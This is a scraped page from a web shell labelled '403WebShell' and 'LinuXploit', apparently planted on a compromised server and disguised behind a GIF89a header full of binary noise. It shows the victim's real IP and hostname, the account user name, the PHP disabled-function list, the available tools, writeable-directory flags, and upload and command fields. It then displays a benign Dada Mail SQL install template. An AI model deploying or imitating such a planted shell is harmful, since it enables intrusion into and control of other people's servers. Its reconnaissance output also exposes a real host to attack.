GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 18.116.24.148
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/dada/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/softaculous/dada/dada.sql
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;

--
-- Database: `dada11220`
--

-- --------------------------------------------------------

--
-- Table structure for table `dada_archives`
--

CREATE TABLE `dada_archives` (
  `list` varchar(16) COLLATE utf8mb3_bin DEFAULT NULL,
  `archive_id` varchar(32) COLLATE utf8mb3_bin DEFAULT NULL,
  `subject` text COLLATE utf8mb3_bin,
  `message` mediumtext COLLATE utf8mb3_bin,
  `format` text COLLATE utf8mb3_bin,
  `raw_msg` mediumtext COLLATE utf8mb3_bin,
  KEY `dada_archives_list_archive_id_index` (`list`,`archive_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_bin;

-- --------------------------------------------------------

--
-- Table structure for table `dada_bounce_scores`
--

CREATE TABLE `dada_bounce_scores` (
  `id` int NOT NULL AUTO_INCREMENT,
  `email` text COLLATE utf8mb4_general_ci,
  `list` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `score` int DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_clickthrough_urls`
--

CREATE TABLE `dada_clickthrough_urls` (
  `url_id` int NOT NULL AUTO_INCREMENT,
  `redirect_id` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `msg_id` text COLLATE utf8mb4_general_ci,
  `url` text COLLATE utf8mb4_general_ci,
  PRIMARY KEY (`url_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_clickthrough_url_log`
--

CREATE TABLE `dada_clickthrough_url_log` (
  `id` int NOT NULL AUTO_INCREMENT,
  `list` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `remote_addr` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `msg_id` text COLLATE utf8mb4_general_ci,
  `url` text COLLATE utf8mb4_general_ci,
  `email` varchar(80) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `user_agent` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_confirmation_tokens`
--

CREATE TABLE `dada_confirmation_tokens` (
  `id` int NOT NULL AUTO_INCREMENT,
  `timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `token` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `email` varchar(80) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `data` text COLLATE utf8mb4_general_ci,
  PRIMARY KEY (`id`),
  UNIQUE KEY `token` (`token`),
  KEY `dada_confirmation_tokens_index` (`id`,`timestamp`,`token`(80),`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_consents`
--

CREATE TABLE `dada_consents` (
  `consent_id` int NOT NULL AUTO_INCREMENT,
  `timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `list` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `consent` mediumtext COLLATE utf8mb4_general_ci,
  PRIMARY KEY (`consent_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_consent_activity`
--

CREATE TABLE `dada_consent_activity` (
  `consent_activity_id` int NOT NULL AUTO_INCREMENT,
  `remote_addr` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `email` varchar(80) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `list` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `action` varchar(80) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `source` varchar(225) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `source_location` varchar(225) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `list_type` varchar(64) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `consent_session_token` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `consent_id` int DEFAULT NULL,
  `privacy_policy_id` int DEFAULT NULL,
  PRIMARY KEY (`consent_activity_id`),
  KEY `consent_id` (`consent_id`),
  KEY `privacy_policy_id` (`privacy_policy_id`),
  KEY `dada_consent_activity_index` (`email`,`list`,`action`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_email_message_previews`
--

CREATE TABLE `dada_email_message_previews` (
  `id` int NOT NULL AUTO_INCREMENT,
  `list` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `created_timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `vars` text COLLATE utf8mb4_general_ci,
  `plaintext` mediumtext COLLATE utf8mb4_general_ci,
  `html` mediumtext COLLATE utf8mb4_general_ci,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_mass_mailing_event_log`
--

CREATE TABLE `dada_mass_mailing_event_log` (
  `id` int NOT NULL AUTO_INCREMENT,
  `list` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `remote_addr` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `msg_id` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `event` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `details` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `email` varchar(80) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `user_agent` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `dada_mass_mailing_event_log_index` (`list`,`remote_addr`(80),`msg_id`(80),`event`(80),`timestamp`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_message_drafts`
--

CREATE TABLE `dada_message_drafts` (
  `id` int NOT NULL AUTO_INCREMENT,
  `list` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `created_timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `last_modified_timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `name` varchar(80) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `screen` varchar(80) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `role` varchar(80) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `draft` mediumtext COLLATE utf8mb4_general_ci,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_password_protect_directories`
--

CREATE TABLE `dada_password_protect_directories` (
  `id` int NOT NULL AUTO_INCREMENT,
  `list` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `name` text COLLATE utf8mb4_general_ci,
  `url` text COLLATE utf8mb4_general_ci,
  `path` text COLLATE utf8mb4_general_ci,
  `use_custom_error_page` char(1) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `custom_error_page` text COLLATE utf8mb4_general_ci,
  `default_password` text COLLATE utf8mb4_general_ci,
  `always_use_default_password` char(1) COLLATE utf8mb4_general_ci DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_privacy_policies`
--

CREATE TABLE `dada_privacy_policies` (
  `privacy_policy_id` int NOT NULL AUTO_INCREMENT,
  `timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `list` varchar(16) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `privacy_policy` mediumtext COLLATE utf8mb4_general_ci,
  PRIMARY KEY (`privacy_policy_id`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=2 ;

--
-- Dumping data for table `dada_privacy_policies`
--

INSERT INTO `dada_privacy_policies` VALUES
(1, '[[regtime]]', '[[site_name]]', '[[policy_desc]]');

-- --------------------------------------------------------

--
-- Table structure for table `dada_profiles`
--

CREATE TABLE `dada_profiles` (
  `profile_id` int NOT NULL AUTO_INCREMENT,
  `email` varchar(80) COLLATE utf8mb3_bin NOT NULL,
  `password` tinytext COLLATE utf8mb3_bin,
  `auth_code` varchar(64) COLLATE utf8mb3_bin DEFAULT NULL,
  `update_email_auth_code` varchar(64) COLLATE utf8mb3_bin DEFAULT NULL,
  `update_email` varchar(80) COLLATE utf8mb3_bin DEFAULT NULL,
  `activated` char(1) COLLATE utf8mb3_bin DEFAULT NULL,
  PRIMARY KEY (`profile_id`),
  UNIQUE KEY `email` (`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_bin AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_profile_fields`
--

CREATE TABLE `dada_profile_fields` (
  `fields_id` int NOT NULL AUTO_INCREMENT,
  `email` varchar(80) COLLATE utf8mb3_bin NOT NULL,
  PRIMARY KEY (`fields_id`),
  UNIQUE KEY `email` (`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_bin AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_profile_fields_attributes`
--

CREATE TABLE `dada_profile_fields_attributes` (
  `attribute_id` int NOT NULL AUTO_INCREMENT,
  `field` varchar(80) COLLATE utf8mb3_bin DEFAULT NULL,
  `label` varchar(80) COLLATE utf8mb3_bin DEFAULT NULL,
  `fallback_value` text COLLATE utf8mb3_bin,
  `required` char(1) COLLATE utf8mb3_bin NOT NULL DEFAULT '0',
  PRIMARY KEY (`attribute_id`),
  UNIQUE KEY `field` (`field`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_bin AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_profile_settings`
--

CREATE TABLE `dada_profile_settings` (
  `id` int NOT NULL AUTO_INCREMENT,
  `email` varchar(80) COLLATE utf8mb3_bin DEFAULT NULL,
  `list` varchar(16) COLLATE utf8mb3_bin DEFAULT NULL,
  `setting` varchar(64) COLLATE utf8mb3_bin DEFAULT NULL,
  `value` text COLLATE utf8mb3_bin,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_bin AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_rate_limit_hits`
--

CREATE TABLE `dada_rate_limit_hits` (
  `user_id` varchar(225) COLLATE utf8mb4_general_ci NOT NULL,
  `action` varchar(225) COLLATE utf8mb4_general_ci NOT NULL,
  `timestamp` int unsigned NOT NULL,
  KEY `dada_rate_limit_hits_all_index` (`user_id`,`action`(80),`timestamp`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

-- --------------------------------------------------------

--
-- Table structure for table `dada_sessions`
--

CREATE TABLE `dada_sessions` (
  `id` char(32) COLLATE utf8mb4_general_ci NOT NULL,
  `a_session` text COLLATE utf8mb4_general_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

-- --------------------------------------------------------

--
-- Table structure for table `dada_settings`
--

CREATE TABLE `dada_settings` (
  `list` varchar(16) COLLATE utf8mb3_bin DEFAULT NULL,
  `setting` varchar(64) COLLATE utf8mb3_bin DEFAULT NULL,
  `value` text COLLATE utf8mb3_bin,
  KEY `dada_settings_list_index` (`list`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_bin;

--
-- Dumping data for table `dada_settings`
--

INSERT INTO `dada_settings` VALUES
('[[site_name]]', 'list_owner_email', '[[admin_email]]'),
('[[site_name]]', 'privacy_policy', '[[policy_desc]]'),
('[[site_name]]', 'list', '[[site_name]]'),
('[[site_name]]', 'info', '[[mail_desc]]'),
('[[site_name]]', 'list_name', '[[site_desc]]'),
('[[site_name]]', 'password', '[[list_pass]]'),
('[[site_name]]', 'physical_address', '[[physical_desc]]'),
('[[site_name]]', 'admin_menu', 'NAV-Mass Mailing=1;SUBNAV-drafts=1;SUBNAV-send_email=1;SUBNAV-sending_monitor=1;SUBNAV-mass_mailing_options=1;NAV-Mailing List=1;SUBNAV-change_info=1;SUBNAV-change_password=1;SUBNAV-manage_privacy_policy=0;SUBNAV-manage_list_consent=0;SUBNAV-list_options=1;SUBNAV-web_services=1;SUBNAV-delete_list=0;NAV-Membership=1;SUBNAV-view_list=1;SUBNAV-list_activity=1;SUBNAV-add=1;SUBNAV-delete_email=1;SUBNAV-subscription_options=0;NAV-Sending=1;SUBNAV-mail_sending_options=1;SUBNAV-mail_sending_advanced_options=1;SUBNAV-mailing_sending_mass_mailing_options=1;NAV-Archives=1;SUBNAV-view_archive=1;SUBNAV-archive_options=1;SUBNAV-adv_archive_options=1;NAV-Appearance=1;SUBNAV-edit_template=1;SUBNAV-email_themes=1;SUBNAV-edit_type=1;SUBNAV-edit_html_type=1;SUBNAV-html_code=1;SUBNAV-back_link=1;NAV-Profiles=1;SUBNAV-profile_fields=1;NAV-Plugins/Extensions =1;SUBNAV-tracker=1;SUBNAV-bridge=1;SUBNAV-change_root_password=0;SUBNAV-change_list_shortname=0;SUBNAV-log_viewer=1;SUBNAV-screen_cache=0;SUBNAV-global_config=0;SUBNAV-multiple_subscribe=1;SUBNAV-blog_index=1;NAV-<i class="fi-widget"></i> Control Panel Settings=0;SUBNAV-feature_set=0;SUBNAV-scheduled_jobs=1;SUBNAV-setup_info=1;SUBNAV-manage_script=1;'),
('[[site_name]]', 'cipher_key', '[[cipher_key]]'),
('[[site_name]]', 'schedule_last_checked_time', '[[timestamp]]'),
('[[site_name]]', 'scheduled_jobs_last_ran', '[[timestamp]]');

-- --------------------------------------------------------

--
-- Table structure for table `dada_simple_auth_str`
--

CREATE TABLE `dada_simple_auth_str` (
  `id` int NOT NULL AUTO_INCREMENT,
  `timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  `remote_addr` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  `auth_str` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `UAS` (`auth_str`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `dada_subscribers`
--

CREATE TABLE `dada_subscribers` (
  `email_id` int NOT NULL AUTO_INCREMENT,
  `email` varchar(80) COLLATE utf8mb3_bin DEFAULT NULL,
  `list` varchar(16) COLLATE utf8mb3_bin DEFAULT NULL,
  `list_type` varchar(64) COLLATE utf8mb3_bin DEFAULT NULL,
  `list_status` char(1) COLLATE utf8mb3_bin DEFAULT NULL,
  `timestamp` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`email_id`),
  KEY `_all_index` (`email`,`list`,`list_type`,`list_status`,`timestamp`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_bin AUTO_INCREMENT=1 ;

--
-- Constraints for dumped tables
--

--
-- Constraints for table `dada_consent_activity`
--
ALTER TABLE `dada_consent_activity`
  ADD CONSTRAINT `dada_consent_activity_ibfk_1` FOREIGN KEY (`consent_id`) REFERENCES `dada_consents` (`consent_id`),
  ADD CONSTRAINT `dada_consent_activity_ibfk_2` FOREIGN KEY (`privacy_policy_id`) REFERENCES `dada_privacy_policies` (`privacy_policy_id`);

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

Youez - 2016 - github.com/yon3zu
LinuXploit